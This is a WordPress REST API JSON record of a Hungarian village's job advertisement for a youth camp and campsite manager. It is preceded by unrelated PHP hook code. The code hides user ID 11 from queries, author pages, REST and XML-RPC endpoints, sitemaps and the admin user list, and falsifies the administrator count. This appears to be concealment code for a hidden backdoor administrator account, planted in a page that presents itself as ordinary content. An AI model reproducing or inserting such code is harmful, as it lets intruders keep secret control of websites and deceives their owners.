add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":636,"date":"2020-01-14T11:35:03","date_gmt":"2020-01-14T11:35:03","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=636"},"modified":"2020-01-14T11:35:06","modified_gmt":"2020-01-14T11:35:06","slug":"allashirdetes-taborvezeto","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2020\/01\/14\/allashirdetes-taborvezeto\/","title":{"rendered":"\u00c1ll\u00e1shirdet\u00e9s &#8211; T\u00e1borvezet\u0151"},"content":{"rendered":"\n<p class=\"has-text-align-center\">A B\u00fckksz\u00e9k K\u00f6zs\u00e9gi \u00d6nkorm\u00e1nyzat K\u00e9pvisel\u0151-test\u00fclete p\u00e1ly\u00e1zatot hirdet<br><br><strong>t\u00e1borvezet\u0151<\/strong><br><br>\u00e1ll\u00e1s bet\u00f6lt\u00e9s\u00e9re. <\/p>\n\n\n\n<p>Jogviszony id\u0151tartama: hat\u00e1rozatlan idej\u0171 jogviszony, a Munka T\u00f6rv\u00e9nyk\u00f6nyve szerint <\/p>\n\n\n\n<p>Foglalkoztat\u00e1s jellege: teljes munkaid\u0151 <\/p>\n\n\n\n<p>A munkav\u00e9gz\u00e9s helye: 3335 B\u00fckksz\u00e9k, Arany J. u. 12. <\/p>\n\n\n\n<p>A megb\u00edz\u00e1ssal j\u00e1r\u00f3 l\u00e9nyeges feladatok: <\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>tervezi, szervezi, ir\u00e1ny\u00edtja \u00e9s ellen\u0151rzi az Ifj\u00fas\u00e1gi T\u00e1bor \u00e9s a Kemping szakmai \u00e9s gazdas\u00e1gi m\u0171k\u00f6d\u00e9s\u00e9nek valamennyi ter\u00fclet\u00e9t, gondoskodik a szem\u00e9lyi \u00e1llom\u00e1ny (konyhai, takar\u00edt\u00f3, karbantart\u00f3, eg\u00e9szs\u00e9g\u00fcgyi szem\u00e9lyzet, recepci\u00f3s) kihaszn\u00e1lts\u00e1gnak megfelel\u0151 rendelkez\u00e9sre \u00e1ll\u00e1s\u00e1r\u00f3l, beoszt\u00e1s\u00e1r\u00f3l, a j\u00f3v\u00e1hagyott k\u00f6lts\u00e9gvet\u00e9sb\u0151l biztos\u00edtja a t\u00e1bor \u00e9s a kemping m\u0171k\u00f6d\u00e9s\u00e9t, <\/li><li>gyakorolja az egy\u00e9b munk\u00e1ltat\u00f3i jogokat, <\/li><li>a megl\u00e9v\u0151 kapcsolati rendszer fenntart\u00e1s\u00e1val, fejleszt\u00e9s\u00e9vel gondoskodik a t\u00e1bor \u00e9s a kemping kapacit\u00e1s\u00e1nak min\u00e9l jobb kihaszn\u00e1l\u00e1s\u00e1r\u00f3l, a sz\u00e1ll\u00e1shelyek k\u00f6zvet\u00edt\u00e9s\u00e9r\u0151l, <\/li><li>ell\u00e1tja az Ifj\u00fas\u00e1gi T\u00e1bor \u00e9s a Kemping m\u0171k\u00f6d\u00e9s\u00e9t \u00e9rint\u0151 jogszab\u00e1lyokban, \u00f6nkorm\u00e1nyzati rendeletekben \u00e9s d\u00f6nt\u00e9sekben a vezet\u0151 r\u00e9sz\u00e9re el\u0151\u00edrt feladatokat, <\/li><li>felel\u0151s a tervez\u00e9si, besz\u00e1mol\u00e1si, inform\u00e1ci\u00f3 szolg\u00e1ltat\u00e1si k\u00f6telezetts\u00e9g teljes\u00edt\u00e9s\u00e9\u00e9rt, azok teljess\u00e9g\u00e9\u00e9rt \u00e9s hiteless\u00e9g\u00e9\u00e9rt, a gazd\u00e1lkod\u00e1si lehet\u0151s\u00e9gek \u00e9s a k\u00f6telezetts\u00e9gek \u00f6sszhangj\u00e1\u00e9rt, <\/li><li>felel\u0151s az Ifj\u00fas\u00e1gi T\u00e1bor \u00e9s a Kemping \u00e9p\u00fcleteinek, ter\u00fclet\u00e9nek karbantart\u00e1s\u00e1\u00e9rt, g\u00e9pek, eszk\u00f6z\u00f6k, tiszt\u00edt\u00f3szerek, sportszerek, text\u00edli\u00e1k beszerz\u00e9s\u00e9\u00e9rt, karbantart\u00e1s\u00e1\u00e9rt.<\/li><\/ul>\n\n\n\n<p><a href=\"http:\/\/www.bukkszek.hu\/2015\/wp-content\/uploads\/2020\/01\/t\u00e1borvezet\u0151_p\u00e1ly\u00e1zati-felh\u00edv\u00e1s_2020.pdf\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"A teljes felh\u00edv\u00e1s innen let\u00f6lthet\u0151 (\u00faj f\u00fcl\u00f6n nyitja meg)\">A teljes felh\u00edv\u00e1s innen let\u00f6lthet\u0151<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A B\u00fckksz\u00e9k K\u00f6zs\u00e9gi \u00d6nkorm\u00e1nyzat K\u00e9pvisel\u0151-test\u00fclete p\u00e1ly\u00e1zatot hirdet t\u00e1borvezet\u0151 \u00e1ll\u00e1s bet\u00f6lt\u00e9s\u00e9re. Jogviszony id\u0151tartama: hat\u00e1rozatlan idej\u0171 jogviszony, a Munka T\u00f6rv\u00e9nyk\u00f6nyve szerint Foglalkoztat\u00e1s jellege: teljes munkaid\u0151 A munkav\u00e9gz\u00e9s helye: 3335 B\u00fckksz\u00e9k, Arany J. u. 12. A megb\u00edz\u00e1ssal&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":639,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-636","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/636","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=636"}],"version-history":[{"count":2,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/636\/revisions"}],"predecessor-version":[{"id":640,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/636\/revisions\/640"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/639"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=636"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=636"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=636"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}